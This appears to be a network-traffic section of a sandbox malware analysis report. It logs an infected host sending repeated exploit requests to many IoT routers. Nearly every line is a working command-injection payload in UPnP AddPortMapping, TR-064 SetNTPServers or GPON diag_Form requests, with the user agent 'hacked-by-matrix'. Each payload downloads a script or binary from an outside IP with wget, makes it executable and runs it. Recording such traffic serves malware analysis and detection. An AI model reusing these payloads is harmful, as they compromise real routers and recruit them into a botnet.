6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:23.165846109 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:35.197335958 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:00.540319920 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.14	38594	86.155.2.218	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.353508949 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.14	34124	5.217.234.143	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.394345999 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.510091066 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:22.653857946 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:34.687298059 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.540328026 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.14	34140	5.217.234.143	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.643548965 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:14.398174047 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:15.902163029 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:19.074011087 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:25.213735104 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:37.245249033 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:02.588284969 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.14	37824	212.189.138.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.228868961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.14	47638	79.90.92.104	443

Timestamp	Bytes transferred	Direction	Data
